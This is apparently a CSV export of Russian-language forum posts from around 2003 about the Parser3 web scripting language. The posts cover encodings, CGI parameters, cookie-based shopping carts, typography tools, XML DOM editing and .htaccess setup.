pwd\
echo done\
[/code]\
\
под именем parser3.cgi, и обратитесь к какому-нибудь .html документу. что за путь напечатает?"
"24464","Если рассуждать принципиально, то понятие \"кодировка\" применительно к правильному отображению буковок разных языков -- это \"родимое пятно\" ранней компьютерной эпохи, когда на нашей планете \"существовало\" только одно известное государство на три буквы. Слава Богу, те времена давно канули в лету, и все идет к тому, что через некоторое время из меню браузеров вообще исчезнет это архаичное меню \"Document Encoding\".\
Если же не стараться быть большим католиком, чем Иоан Павел II, то можно, конечно выбрать и какую-нибудь кодировку из распространенных ныне win или koi-8, но Ваше предложение держать разные части одной логической единицы, коей является сайт, в разных кодировках, мягко говоря, довольно нерациональное.\
\
На вопросы по ^Парсеру я ответить не смогу, ибо сам начал им пользоваться едва ли больше месяца назад -- мне впору самому задавать вопросы, но поиск по форуму пока выручает :-)"
"24465","нынешней реальности. Кодировки существуют, и будут существовать еще долго. Дуиаю, что даже после повсеместного перехода на юникод исходники на серверах будут храниться в 8-битных кодировках, перекодировываяь по необходимости.\
\
И оно вам надо при всем этом искать редактор юникода?\
Даже XML позволяет пользоваться обычными кодировками, к слову..."
"24467","Если глянуть в недавнюю историю, то сначала в ASCII была 7-битная кодировка, куда помещались простые (без умляутов, акцентов и т.п.) символы латинского алфавита да знаки препинания. Народ за океаном (а первая буква в \"ASCII\" означает, если не забыли, именно \"American\") решил, что 128 \"гнезд\" в таблице символов более, чем достаточно. И для своего времени и своего места использования этого было достаточно.\
Сейчас же, когда ОЗУ в самой затрапезной видеокарточке больше, чем ОЗУ в самом крутом сервере времен 7-битной ASCII, довольно странно придерживаться пестрого веера стандартов, разработанных разными людьми в начале 80-х годов прошлого века.\
Дело даже не в \"распальцовках\", \"крутости\" и даже не в \"современности\", а в том, что хранение и обмен информации в [i]едином и единственном[/i] формате, не привязанном к платформе и операционной системе -- логично. \
Забавно было бы иметь несколько стандартов отображения цветов на мониторе, (скажем, RGB и BGR) и для просмотра картинок, записанных в этих разных стандартах, переключать режимы отображения :-)\
Да и вообще, даже без обоснования логики, я просто [i]хочу[/i] использовать utf-8! Сообразно своим желаниям я также выбираю и инструменты. \
Поэтому-то и озадачился тем, как бы подружить ^Парсер с DW...\
\
Предлагается обсуждение выбора кодировки на этом прекратить. Спасибо! :-)"
"24469","subj уже некоторое время существует в сыром виде, осталось привести в нормальное состояние и выложить..."
"24470","Какой минимальный набор файлов необходим для корректной работы parser3?(в win и linux системах)"
"24474","Люди, помогите советом.\
Ситуация следующая: я пытаюсь передать два параметра в строке запроса CGI-скрипту, следующим образом:\
	$cgi_file[^file::cgi[/cgi-bin/dir.cgi;$.QUERY_STRING[main_directory=^taint[$main_directory];root=^taint[$root]]]]\
\
в результате подучаю вот такую запись в логе Парсера:\
[Mon Dec 22 13:13:21 2003] /download/: e:/home/parser/www/download/auto.p(88:100): parse error, expecting `']'' [parser.compile]\
\
как вообще передавать несколько параметров?"
"24476","$.QUERY_STRING[... ; ...]\
если вы хотите передать два параметра то передавайте их:\
- или через ДВЕ разные переменные окружения\
- или через переменные окружения и/или параметры\
\
да... или почитайте про парсерные спецсимволы и поставьте необходимый символ перед вашей ';' если вы её хотите передать как \"букву\""
"24477","Спасибо, попробовал и все заработало"
"24478","...достаточно скачать http://www.parser.ru/f/1/download/redhat/parser3_3_0_0007_sp1_redhat72_cgi.tar.gz (CGI скрипт Кстати пойдет ли он на unix'е?)\
или http://www.parser.ru/f/1/download/win32/parser3_0_8_win32_cgi.zip (CGI скрипт)\
И переписать все файлы в архиве на сервер, а также .htacces то парсер заработает?\
\
\
ЗЮ И в доке не нашел"
"24480","Люд, кто-нить писал для ID тагов ?"
"24481","Есть в странице какой-то javascript код:\
[code]\
function submit_form_PropertyPerson(){\
	var newString=\"\";\
	var form = document.forms['propertyPerson'];\
	newString+=\"name=\"+escape(form.elements['name'].value)+\"&\";\
	location.href=\"test.html?\"+newString; \
}\
[/code]\
Который должен хитрым образом сформировать пост из какой-то формы. Получается такой uri:\
test.html?name=%u0444%u044B%u0432%u0430&\
Который парсер не понимает ($form:name eq \"\"). Как можно подружить всё это дело?\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
Опера, ie6 -- same shit."
"24482","Оставьте как есть. Во всяком случае, из приведенного примера неясно, с какой это производится целью. \
\
Совершенно правильно все у вас происходит..."
"24484","Задача такова: страница получает нехилую форму методом POST, теперь надо проверить все поля, и в случае, если найдутся ошибки, вернуть пользователю предыдущую страницу, аккуратно передав все поля обратно и добавив еще одно поле (сообщение об ошибке). Никакого способа, кроме прописывания URI типа:\
\
$new_uri[?field=$form:fields.field..... и так далее ]\
\
я не нашел. \
Может, есть более цивильный способ это сделать?"
"24485","ето наверное юникод, непонятно как такое может получаться...\
может javascript с внешнего сервера подгружается?"
"24486","на предложенный Вами скрипт Апач-сервер Агавы выдал:\
\
/mydomain/cgi\
done\
\
То есть правильное имя каталога cgi"
"24488","как использовать Парсер как интерпритатор скриптов?\
Обьясните подробнее, начиная с установки Парсера как интерпритатора скриптов на Windows 98SE RUS.\
Пожалуйста!"
"24489","Можно слева, в форме для поиска, набрать слово \"интерпретатор\", поставить галочку (искать в тексте сообщения) и внимательно изучить результаты."
"24490","Вот как мне кажется, есть 2 подхода:\
\
1) хранить в куках только идентификатор сессии, а корзину собирать в какой-нить таблице basket.\
\
2) хранить в куках всю корзинку, например в xml, и только при оформлении заказа мутить с ней.\
\
Кто какие жоводы может привести в пользу того или иного варианта?"
"24491","Я всегда пользовался этим кодам для 404 ошибок>>>\
\
@error404page[] \
\
\
@unhandled_exception[exception;stack]\
#next line added by Constantine. \
^if((\"$exception.type\" eq \"file.missing\") && (def $exception.source) && (^exception.source.match[$request:uri][] || ^exception.source.match[^request:uri.match[(.+)\\x3f.*][]{?$match.1}][])){^error404page[]}{\
\
^unhandled_exception_debug[$exception;$stack]\
\
}\
\
\
\
После того, как сделал upgrade сервера, у меня вместо обычной ошибки вылезает Internal Server Error (500). Кроме этой ошибки все работает отлично. В чем может быть проблема?"
"24492","кто его знает, что пользователю придёт в голову вводить в поле.."
"24493","вот код:\
[code]\
@main[]\
<html>\
<script charset=\"windows-1251\" type=\"text/javascript\">\
function test(){\
	location.href=\"test2.html?name=\"+escape(document.forms['first'].elements[0].value);\
}\
</script>\
<body>\
<form name=\"first\" accept-charset=\"windows-1251\">\
<input name=\"name\" type=\"text\" value=\"фыва\">\
<input type=\"button\" value=\"push me\" onclick=\"test()\">\
</form>\
</body>\
</html>\
<hr>\
<dl>\
^form:fields.foreach[field;value]{ \
	<dt>$field\
	<dd>\
	^if($value eq \"\"){empty!}{\
	^if($value is string){$value}{\
	^if($value is table){^$value is table}\
	}}\
}\
</dl>\
[/code]\
\
Собственно, я вышел из положения, написав my_escape() такого вида:\
[code]\
function my_escape(str){\
	str=str.replace(/ /g, \"^taint[uri][ ]\")^;\
	str=str.replace(/&/g, \"^taint[uri][&]\")^;\
	str=str.replace(/\\+/g, \"^taint[uri][+]\")^;\
	return str^;\
}\
[/code]"
"24494","Если товар мелкоштучный (CD, книги) то первый вариант, получше будет. Т.к. при любом сбое отключении (для DialUp) и т.д. его заказ будет храниться в базе. Другое дело что добавление в эту самую базу может происходить только по submit-у, а следовательно чтобы добавить товар нужно перегружать страницу.\
\
Если заказ крупный (превентер нефтяной скважины), можно обойтись кукой или просто передавать номера товаров через поле формы.\
\
Я бы лично скрестил первый вариант со вторым. Хранил все и в куке, и в базе для верности."
"24495","что Вы сделали и что у Вас не получается?\
\
P.S. Один и тот же вопрос лучше обсуждать в одном треде (на будущее)"
"24496","Мне нужно нечто типа:\
\
$response.post[$form:fields] #это воображаемый код\
\
И, кстати, я так и не понял, можно ли писать в $form:fields."
"24497","отсутствие ограничений на размер и большая безопасность на стороне пользователя.\
Кука, все таки, маленькая штука :)\
\
Да и, кроме шуток, не факт, что лучшее место для идентификатора именно в куке. На мейл.ком идентификатор таскается по страницам как часть урла, и это правильно, ибо куки могут быть заблокированы."
"24499","так много? ^taint[] решит вашу проблему напрочь, насколько я понимаю. Разве что пробелы..."
"24501","Сколько их на своем веку повидал, и во всех обнаружил косяки на самых банальных примерах.\
Пробую типографировать фразу из ALG ру/ководства, как будто ее напечатали вручную:\
[color=\"red\"]...Когда В. И. Пупкин увидел в газете (это была \"Сермяжная правда\" № 45) рубрику Weather Forecast(r), он не поверил своим глазам - температуру обещали +-451F.[/color]\
\
самые популярные типографы на данный момент:\
\
http://www.artlebedev.ru/tools/typograf/ - ALG\
http://at.webcode.ru/online/ - WebCode\
http://emdin.ru/tools/teditor.htm - Emdin\
\
Показали результаты в соответствии с теми местами, которые я им определил (хотя все три с заданием не справились).\
Последний вообще работает только в IE.\
\
С этой фразой тоже никто не справился: \
[color=\"red\"]Телефон: +8 (3452) 49-00-49[/color]\
\
Хотя лучший вариант у WebCode.\
\
Печально господа. Печально, что тексту в веб технологиях уделяется так мало времени."
"24502","или хотя бы стандарт де-факто, тривиально добавляю поддержку и всё.\
но: мне нужно подтверждение."
"24503","Сейчас в студии ведётся разработка новой версии типографа.\
Версия для веба, версия для windows. По возможностям, я думаю, новый типограф будет умней."
"24504","в <form method=post action=> укажите адрес той же страницы, на которой показывается форма.\
если что-то заполнено неправильно, данные у вас уже есть (только что вам самому по post пришли), рисуете форму вновь.\
\
если всё хорошо, или просто так и печатаете.\
но, если не лень, лучше сделать redirect на страницу с таким текстом.\
почему лучше: у пользователя меньше шансов сделать ошибочно repost."
"24505","неужели в 6.x глючит?"
"24506","после pwd добавьте команду set.\
\
посмотрим с вами на DOCUMENT_ROOT & иже с ним."
"24508","Очень на это надеюсь... Если бы еще дали возможность поучаствовать в разработке и тестировании, было б еще лучше."
"24509","как только сами разберёмся :-)"
"24510","Можно ли с помощью парсера работать с ID тегами?"
"24511","Единственный \"глюк\" - неотлов \"+-\" в соответствующий символ.\
Но ведь и нет для этого никаких предпосылок. Меня так учили писать \"+/-\" (хотя и это условность).\
И уж точно никто не сможет определить, что 451F это запись именно в температурной шкале по Фаренгейту, а не кусок записи числа в шестнадцатиричной системе исчисления..."
"24512","Мне надо в навигации показать, где на сайте располагается пользователь. И чтобы пользователь нажав на название предыдущего раздела мог к нему перейти. Так сделано на многих сайтах.\
Так вот вопрос: Как заставить делать это Парсер в автоматическом режиме, чтоб мне не пришлось на каждой странице писать это(с ума сойдешь!)?\
Пример навигации:\
Главная \\ Автор \\ Харуки Мураками \\ Принцессе, которой больше нет \
Главная \\ Раздел \\ Подраздел \\ Подподраздел \\ Место, где мы сейчас."
"24513","Добрый день.\
У меня ворпос..\
Урок 5. Пользовательские классы Parser \
Делаю всё как в примере...\
Получаю Это \
помогите разобраться может его ещё куда прописать\
засада!\
x:/home/dosk.ru/www/gbook/index.html(8:1): 'USE ' invalid special name. valid names are 'CLASS', 'USE' and 'BASE'\
exception.type=parser.compile \
заранее благодарен"
"24514","править тут\
http://www.parser.ru/docs/src/pa__vform_8C-source.htm#l00109"
"24515","тот скрипт, который умеет.\
\
запуск внешних программ в parser есть."
"24517","Несмотря на наличие ключа $.any-status(1)в конструкции $file[^file::load[text;http://www.xxx.ru/;$.any-status(1)]] выдается сообщение bad response from host - no status found (size=32324) type: http.response. \
\
Версия для win32 Parser/3.0.8\
Версия для FreeBSD Parser/3.1.0"
"24518","Возможно ли использование парсера без .htaccess"
"24519","@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/parser3.charsets]\
$sqldriversdir[$confdir]\
$CLASS_PATH[/classes/]- это сюда мне надо добавить стороку...\
и тогда он мне пишет.\
not found along MAIN:CLASS_PATH\
но в FAQ что эта надпись означае что я указал путь не тот\
но у меня именно там лежит фаил....\
Может опять туплю!???"
"24520","Unicode.org:\
http://www.unicode.org/iuc/iuc18/papers/a15.doc\
\
Use the JavaScript escape() function to generate URLs so that non-ASCII characters will be correctly escaped. The escape() function behaves differently in Internet Explorer and Netscape. The escape() function in Internet Explorer generates UTF-16 escape in the form of %uXXXX where XXXX is the hexadecimal value of a UTF-16 character. The escape() function in Netscape generates UTF-8 escape sequence in the form of %XX where XX is the hexadecimal digit for the value of a UTF-8 bytes. \
\
\
\
в ECMAscript похоже рекомендовано именно такое написание\
http://www.devguru.com/Technologies/ecmascript/quickref/escape.html\
\
однако Нетскейп сделал всё по-другому\
http://devedge.netscape.com/library/manuals/2000/javascript/1.3/reference/toplev.html#1063743\
\
Питон поддерживает такое написание\
http://www.python.org/doc/current/ref/strings.html\
\
Перл не поддерживал, его пожурили\
http://www.faqchest.com/prgm/modpr-l/perl-03/perl-0301/perl-030110/perl03012809_13315.html\
\
вобщем, всё очень загадочно, хотя на \"де-факто\" возможно и потянет..."
"24521","Т.Е использовать специальный скрипт, который будет запускать сам парсер, я правильно понял?"
"24522","1.0 ответы реально никому нужны не были.\
вы первый.\
\
если сами поправите в исходнике, быстро приму patch."
"24523","у вас после USE пробел, это видно в сообщении об ошибке, и вопрос такой уже задавался.\
\
пожалуйста, перед задаванием следующего подобного вопроса, воспользуйтесь поиском по форуму"
"24524","сделаешь?"
"24526","использовать A который будет запускать B.\
можно пронять и что A запускает B и что B запускает A.\
давайте беречь русский язык.\
\
и см. документацию на file::exec"
"24527","Готов с Вами поспорить... что пробел у меня не стоит\
а ошибку такого плана выдаёт\
выше я написал что я прочитал в FAQ и в поиске\
я пользуюсь и тем и другим прежде чем задавать вопрос в Форум.\
Я не нашёл там удовлетварительного ответа на свой вопрос поэтому обратился к Вам.\
За ранее.. Спасибо.\
not found along MAIN:CLASS_PATH\
$gb[^gbook::load[]]\
\
x:/home/dosk.ru/www/gbook/index.html(3)\
exception.type=parser.runtime"
"24528","А реально эта штука никому не нужна, думаю, никто не обидится, если в следующей версии её не будет..."
"24529","Хотелось бы такую фичу в Design.ru типограф :\
\
У меня есть форма в которую со странички CMS вводится(или с любого другого источника попадает - email, файл etc)  текст который надо оттипографить.\
По submit Я передаю обработку этого поля с нетипографенным текстом на \"фирменный\" урл - типа design.ru/tools/typograf/service.html?~п~а~р~а~м~е~т~р~ы~ \
А В ~п~а~р~а~м~е~т~р~а~х~  в одной условленой переменной передаю текст для обработки а во втором параметре обратный урл на моем сайте(на кусок CMS к примеру) который уже оттипографеный текст куда надо оприходует - или в базу или в ..... запишет.\
\
Так вроде все легко встраивается в то что уже есть. Только раньше я сразу в таргете формы писал свой УРЛ и тото его разбирал.\
А когда все будет в одном месте приличном (там и будет трафик генерится:-) настраиваться и поддерживаться.Получится своеобразный сервис - веб типограф: я ему текст на правку а он мне чистый текст. \
\
Или я что-то недогоняю  и все это мои глюки и лишние запары, как думаете?"
"24530","Великий, Могучий Наш Русский язык - это точно.\
Все же, что Вы можете посоветовать в качестве определения ID тегов?"
"24531","[code]\
@USE \
/classes/gbook.p\
$gb[^gbook::load[]]\
[/code]\
\
превратите в \
[code]\
@USE \
/classes/gbook.p\
\
@main[]\
$gb[^gbook::load[]]\
[/code]"
"24532","К сожалению, я в Си полный балбес. Каким образом вы определили, что имеет место HTTP/1.0 а не HTTP/1.1?"
"24533","На самом деле, если посетитель страдает манией преследования и куки у него выключены постоянно, то в магазин сделать реальный заказ его силой не затащишь.\
\
Из чего вывод: в магазин ходят посетители с куками, и мудрить с передечей идентификатора GET нет смысла..\
\
Безопасность конечно, но размер опять же не имеет значения, так как кука сотрется после завершения заказа и большой она все равно не будет. Среднестатистическая корзина -- ну максимум 10 заказав, ничего страшного ..."
"24534","что бы не рефрешить страницу сначало все кладем в куки с помощью JS, как только предоставляется возможность эти куки перегоняем в базу. В базе резервная копия, следовательно, что бы там у пользователя не произошло, наводнение, напасть какая ,.. провайдер перепил .. все равно его корзинка останется на сервере и он сможет потом продолжить свой заказ. + галочка про то, был ли заказ правильно завершен ..\
\
не очень только понятно как по человечески сделать вот этот момент: \"как только предоставляется возможность эти куки перегоняем в базу\"\
\
есть идеи?"
"24535","это дело вкуса... А вот про 10 наименований я не соглашусь. Скажите хозяину магазина, что больше 10 товаров за раз у него никто не сможет купить, и он не будет с вами работать. А если он продает канцтовары? Которые наименований по 15-20 заказывают? И на каждый товар артикул из 16 цифр? (реальный пример)\
\
Так что УЖ ВСЕ в куки не надо."
"24536","так как обработка очень тяжелая, хотел для этого и разнести... А что, способа просто \"вернуть\" нету?"
"24537","функцию типа \
\
^escape[string][8|16] и соответственно unescape?"
"24540","но в HTTP/1.1 ответах поле статуса обязательно."
"24541","Кроме компиляции никак больше горю помочь нельзя?"
"24542","Я так думаю, что \"^escape[string][8|16] и соответственно unescape\" можно сделать через ^string.replace[]. Другое дело, что этот самый string, будучи ещё $form:escaped, не проходит через жернова unescape_chars(), что в pa_common.C.\
\
И это расстраивает."
"24543","Компания-хостер (Агава) признала свои ошибки и частично их исправила. О причинах сбоя мне не сообщила, но я буду добиваться этой информации. Думаю, что мировому сообществу будет это интересно ;-) Остались, правда, еще проблемы, но, думаю, что решу их в частном порядке. К чести Агавы - в порядке компенсации причиненного ущерба компания продлила мне на месяц время хостинга.\
\
Спасибо всем, кто поддержал меня в решении вопроса и так многому научил!"
"24544","Вы учли, сколько загрантрафика это съест?\
\
На счет встраивания - есть моя поделка http://freetypo.sourceforge.net/\
Встраивается в parser, perl, php.\
Вещь, как и любой типограф, далеко не безглючная, но легко модифицируемая под собственные нужны."
"24545","При попытке отправки html письма пишет вот что:\
\
'send' html part value must be code\
\
О каком code идёт речь? Может это проблема sendmaila?\
Ставлю $.text[... всё работает отлично.\
\
Подскажите, пожалуйста, кто в курсе."
"24546","Вернуть то можно, но лучше этого не делать."
"24549","Вот код\
^mail:send[ \
$.from[Система регистрации <....ru>] \
$.to[Администратор <admin@....ru>] \
$.subject[Получена форма регистрации на сайте ....ru] \
$.html[\
<h1>На сайте ВОЛГОГРАД.ru получена форма регистрации</h1>\
^forma.menu{\
$forma.label	^:	$form:[$forma.name]\
}\
]\
собственно всё"
"24551","Спасибо. Как я не видел... Сколько раз смотрел... :) Стыдно"
"24552","Делаю новости, хочу что бы при нажатии на заголовок открывалась страница с текстом новости. Данные в my.sql, подскажите, как заставить открывать страницы с вопросительным знаком после html?\
\
пример чего я хочу здесь:\
http://www.alfabankexpress.ru/news/\
\
дайти ссылку на докментацию или пришлите пример скрипта."
"24553","в чем загвозка-то? :)\
куки большими (относительно) получаются?\
\
ну пусть даже если 50 товаров, на запись каждого пусть тратится хоть по 50 символов (50 байт), то получается, что передаваться будет 250 байт лишних... ну пусть юзер посмотрит 100 страниц, тогда где-то около 25кб трафика на куках уйдет .. этож фигня полная :)\
\
мне кажется, что тут есть еще недостатки, только они связаны совсем с другим ..\
\
хотя думаю, что при реализации смешанной корзины, как я ниже описал, все эти недостатки устранимы + несомненное удобство использования."
"24554","то есть, вас не должно волновать, как MySQL хранит свои данные. При подключение вам достаточно сказать, что вы используете win1251, и сервер всё перекодирует. Является вполне рациональным подходом. (Лучше использовать родную кодировку, то есть, koi8-r для MySQL, win1251 для парсера, utf8 для xml и т.д.)"
"24555","При использовании <link rel=\"next\" .. />, [url=\"http://www.mozilla.org/projects/netlib/Link_Prefetching_FAQ.html\"]Mozilla 1.2+ делает prefetching[/url] следующей страницы, как и рекомендует стандарт HTML 4.0 [url=\"http://www.w3.org/TR/html401/types.html#type-links\"]6.12 Link types[/url]\
[quote]\
[b]Next[/b]\
    Refers to the next document in a linear sequence of documents. User agents may choose to preload the \"next\" document, to reduce the perceived load time.)\
[/quote]\
Только вот на следующей странице (та, которая next) написано [i]Expires: ... 2001 ... [/i], так что prefetching проходит даром, только загружая канал и делая время загрузки каждой страницы в два раза больше. Я не думаю, что мозиллу научили смотреть текущий заголовок Expires, и не делать Prefetch есть текущая страница уже просрочена. \
\
Миша, к чему это я? ;-)"
"24556","то можно только запустить (file::exec) скрипт, который сумеет сделать необходимое.\
попробуйте скрипт, вызывающий wget."
"24560","Что хотелось бы увидеть:\
[code]&hellip;Когда В.&nbsp;И.&nbsp;Пупкин увидел в&nbsp;газете (это была &laquo;Сермяжная правда&raquo; &#8470;&nbsp;45) рубрику Weather Forecast<sup><small>&reg;</small></sup>, он&nbsp;не&nbsp;поверил своим глазам&nbsp;&mdash; температуру обещали <nobr>&plusmn;451 &deg;F</nobr>.[/code]\
\
Вот что есть:\
[code]&#133;Когда В.&nbsp;И.&nbsp;Пупкин увидел в&nbsp;газете (это была &laquo;Сермяжная правда&raquo; &#8470;&nbsp;45) рубрику Weather Forecast(r), он&nbsp;не&nbsp;поверил своим глазам&nbsp;&#151; температуру обещали +-451F.[/code]\
\
по крайней мере 2 бага... с температурой и с символом (r).\
\
Про телефон, фраза: Телефон: +8 (3452) 49-00-49\
Должна типографироваться хотябы так:\
[code]Телефон: <nobr>+8&nbsp;(3452) 49-00-49</nobr>[/code]\
\
А типографируется так:\
[code]Телефон: +8&nbsp;(3452) 49-00-49[/code]\
\
Остальные примеры не привожу, потому как неоднократно писал о них почтой (к сожалению безответно)."
"24561","или переход на другую страницу каталога тоже может служить сигналом отправки данных."
"24562","Unhandled Exception (Debug)\
class is undefined\
gbook\
\
x:/home/dosk.ru/www/gbook/index.html(4)\
exception.type=parser.runtime \
Ну что хоть это такое как клин зашёл!!!!!!11"
"24563","пожалуйста, переведите это на русский?"
"24564","Допустим, есть xml-документ:\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<document>\
   <body>\
      <news>\
        <item id=\"1\" date=\"31-12-2003\">Вот и Новый Год!</item>\
        <item id=\"2\" date=\"01-01-2004\">----------------</item>\
      </news>\
   </body>\
</document>\
[/code]\
\
Требуется изменить/добавить содержание новостей. Как это сделать с помощью Парсера. В доке я не нашел подобных примеров, за исключением добавления новых тегов в тело документа:\
[code]\
$paraNode[^document.createElement[para]] \
$addedNode[^document.documentElement.appendChild[$paraNode]]\
[/code]\
\
Как применять подобную конструкцию к уже имеющимся элементам?"
"24565","чтобы адрес при этом выглядел так:\
\
/news/13/...\
\
или:\
\
/news/2002/01/13/8"
"24568","навскидку не помню, надо заглянуть в стандарты... Но небольшой."
"24569","а как сделать то, что лучше не делать, иначе, чем написал я?"
"24570","^узел.setAttribute[name;value] \
редактирование значений атрибутов\
\
$узел.nodeValue\
\
Операции с содержимым узлов.\
\
Главное их предварительно поймать XPath'ом.\
\
Варнинг: я этим сам не пользовался!"
"24571","[quot]…User agents [b]may[/b] choose to…[/quot]\
\
http://www.mozilla.org/projects/netlib/Link_Prefetching_FAQ.html\
\
например:\
[quot]\
…[b]Are there any restrictions on what is prefetched?[/b]\
…we explicitly do not prefetch URLs with query strings…\
\
…\
\
[b]Is there a preference to disable link prefetching?[/b]\
Yes, there is a hidden preference that you can set to disable link prefetching.  Add this line to your prefs.js file located in your Mozilla profile directory:\
user_pref(\"network.prefetch-next\", false);\
…\
[b]Update:[/b] By popular demand, Mozilla 1.3+ includes a preference in the UI to disable prefetching.  See Preferences->Advanced->Cache to disable prefetching.…\
[/quot]\
\
могу конечно добавить X-moz: prefetch в заголовок, но по моему незачем это, т.к. ни мозила, ни опера не делают prefetch в форуме (на всякий случай посмотрел в логах)"
"24572","Чем не устраивает такой подход?\
\
[code]\
$is_show_form(1)\
^if(def $form:do){\
  ^if(^check_fields[$form:fields]){\
    ^rem{ *** все данные в норме, делаем что-то *** }\
    ^execute_action[]\
    $is_show_form(0)\
  }{\
    ^rem{ *** какую-то фигню прислали, ругаемся *** }\
    <p class=\"alert\">Не заполнено одно из обязательных полей!</p>\
  }\
}\
^if($is_show_form){\
  <form>\
    <input type=\"hidden\" name=\"do\" value=\"do\"/>\
    Имя:<br /><input type=\"test\" name=\"name\" value=\"$form:name\"/>\
    E-mail:<br /><input type=\"test\" name=\"email\" value=\"$form:email\"/>\
    <input type=\"submit\" name=\"go\" value=\"Отправить\"/>\
  </form>\
}\
[/code]\
\
\
\
[quot]\
а как сделать то, что лучше не делать, иначе, чем написал я?\
[/quot]\
\
хм... эту фразу я не понял совершенно..."
"24573","все операции с данными формы происходят в одном файле. А их МНОГО и они РАЗНЫЕ (в том числе, не всегда форма должна быть видна). Конкретно я делаю посылку открыток - сначала заполнение, потом проверка, потом предпросмотр, потом жизнерадостное ПОСЛАНО...\
\
Вот я и задумался о том, как сделать обобщенный механизм \"возвращения\" полей формы, переданной ПОСТом в случае ошибки пользователя. Можно было бы разбить операции между несколькими файлами и введенные данные кидать туда-сюда. Но, видать, не судьба."
"24574","[quote]радиостанции, что не намерен этого делать: \
«Что касается встречи с Farrakhan?ом… ее не будет. „Я уважаю и все такое, но этого не случится. «Ja сам во всем виноват и теперь только играет на публику.“[/quote]\
\
Пример взять с первой страницы сайта BadBalance... Там много интересного."
"24575","но если вы остановились на нем, то можете написать свой оператор (3-4 строчки кода) который вам из form:fields сделает строку аналогичную query ( name=123&email=aa@test.ru )"
"24576","Добавлять аттрибуты получяется:\
[code]^узел.setAttribute[name;value][code]\
\
А как менять содержимое елемента?\
[code]\
$news[^document.selectSingle[//news/item[@id=2]]]\
^news.setAttribute[id;45]\
\
$узел.nodeValue - [b]пустое значение[/b]\
[/code]"
"24577","если не ошибаюсь, ^escape[string][8] эквивалентен существующему ^taint[uri][string], вся проблема в том, что Парсер не поддерживает вариант \"[16]\", однако эта [url=\"http://htmlcoder.visions.ru/JavaScript/?13\"]фича[/url] настолько специфическая, что целесообразность её реализации справедливо поставлена под сомнение. \
\
P.S. Говоря \"никому не нужно\" я предполагал, что умные люди всегда найдут [url=\"http://www.parser.ru/forum/?id=24493\"]workaround[/url], ни в коем случае не хотел обидеть."
"24581","по вашему коду: переменная $is_show_form сохраняет свое значение после отправки формы? Я думал, что при каждом запросе обработка начинается по новой. Иначе - где она сохраняется?\
\
is_show_form(1)\
^if(def $form:do){\
  ^if(^check_fields[$form:fields]){\
    ^rem{ *** все данные в норме, делаем что-то *** }\
    ^execute_action[]\
    $is_show_form(0)\
  }{\
    ^rem{ *** какую-то фигню прислали, ругаемся *** }\
    <p class=\"alert\">Не заполнено одно из обязательных полей!</p>\
  }\
}\
^if($is_show_form){\
  <form>\
    <input type=\"hidden\" name=\"do\" value=\"do\"/>\
    Имя:<br /><input type=\"test\" name=\"name\" value=\"$form:name\"/>\
    E-mail:<br /><input type=\"test\" name=\"email\" value=\"$form:email\"/>\
    <input type=\"submit\" name=\"go\" value=\"Отправить\"/>\
  </form>\
}"
"24583","# Тут конект с базой\
\
^connect[$connect_string]{ \
$news[^table::sql{select id, date, header, mini from news order by id desc }]\
}\
\
# Тут вот запарка\
\
^news.menu{\
^if(^news.line[] >= $scroller.record_number && ^news.line[] <= ($scroller.record_number + $scroller.number_per_section - 1)){\
<table width=\"560\" height=\"100\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\
<td>\
<h1>\
<b>$news.date - $news.header</b> <br> $news.mini <br>\
<a href=\"/news/?newsid=$news.id\">| подробнее | </a>\
<br>\
</h1>\
</td>\
</table><br>}\
}}\
\
# Рисуем скроллер\
\
<h2> архив новостей </h2>\
\
$scroller[^scroller::create[\
$.path_param[no]\
$.table_count[число_записей_в_таблице]\
$.number_per_section[1]\
$.section_per_page[3]\
$.type[page]\
$.r_selector[>>]\
$.l_selector[<<]\
$.divider[]\
$.r_divider[]\
$.l_divider[]\
]\
]\
\
^scroller.draw[]\
\
#===========#\
\
Насколько я понял, $scroller.record_number -это ^news.count []. Но почему-то всёравно не канает. Может кто знает почему...?"
"24584","1. Можно не читать всю таблицу, а вызывать только записи, которые попадают в диапазон скроллера для данной страницы. Тогда в menu не надо будет никаких if-ов.\
\
2. $record_number никак не равен $news.count, он равен $form:no в вашем случае."
"24585","на компьютер не поключённый к Internet, делаю первый урок всё как в документации, вижу ^navigation[].\
Что делать?"
"24586","содержащий:\
# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html \
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
\
P.S. Вы в форуме искали? Нет?\
"
"24587","...Т.е. \
news[^table::sql{select id, date, header, mini from news order by id desc limit 3}]\
\
...Что-то я тогда совсям парюсь, а как тогда всё это со скроллером-то связать...?"
"24589","DOM в принципе не сложен\
[code]\
@main[]\
$xml[<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<document>\
   <body>\
      <news>\
        <item id=\"1\" date=\"31-12-2003\">Вот и Новый Год!</item>\
        <item id=\"2\" date=\"01-01-2004\">----------------</item>\
      </news>\
   </body>\
</document>\
]\
\
$document[^xdoc::create{$xml}]\
# читаем \
$items[^document.select[/document/body/news/item]]\
^for[i](0;$items-1){\
	$node[$items.$i]\
	^eval($i+1).Текст узла[$node.nodeName]: $node.firstChild.nodeValue<br/>\
#	здесь можно их запоминать например в хэш.\
}\
\
# добавляем новые\
\
# созд тестовый узел\
$Text[^document.createTextNode[Скоро Рождество!]]\
\
# создаем новый узел(элемент)\
$Element[^document.createElement[item]]\
\
# добавляем созданый текстовый узел к созданому элементу\
$add[^Element.appendChild[$Text]]\
\
# атрибуты\
$attr[^Element.setAttribute[id;555]]\
$attr[^Element.setAttribute[date;01-05-2004]]\
\
# добавляем созданый елемент к news\
$news[^document.selectSingle[//news]]\
$add[^news.appendChild[$Element]]\
\
^document.string[$.method[html]] \
[/code]\
\
про DOM почитайте\
http://www.w3.org/TR/1998/REC-DOM-Level-1-19981001/level-one-core.html\
про XPath\
http://www.w3.org/2003/03/Translations/byLanguage?language=ru"
"24591","Клиент (браузер) имеет следующие ограничения для cookies:\
всего может храниться до 300 значений cookies\
каждый cookie не может превышать 4Кбайт \
с одного сервера или домена может храниться до 20 значений cookie\
\
По-моему с такими условиями хранить в куках всю корзину, мягко говоря, неудобно."
"24593","Про Фаренгейты я уже писал...\
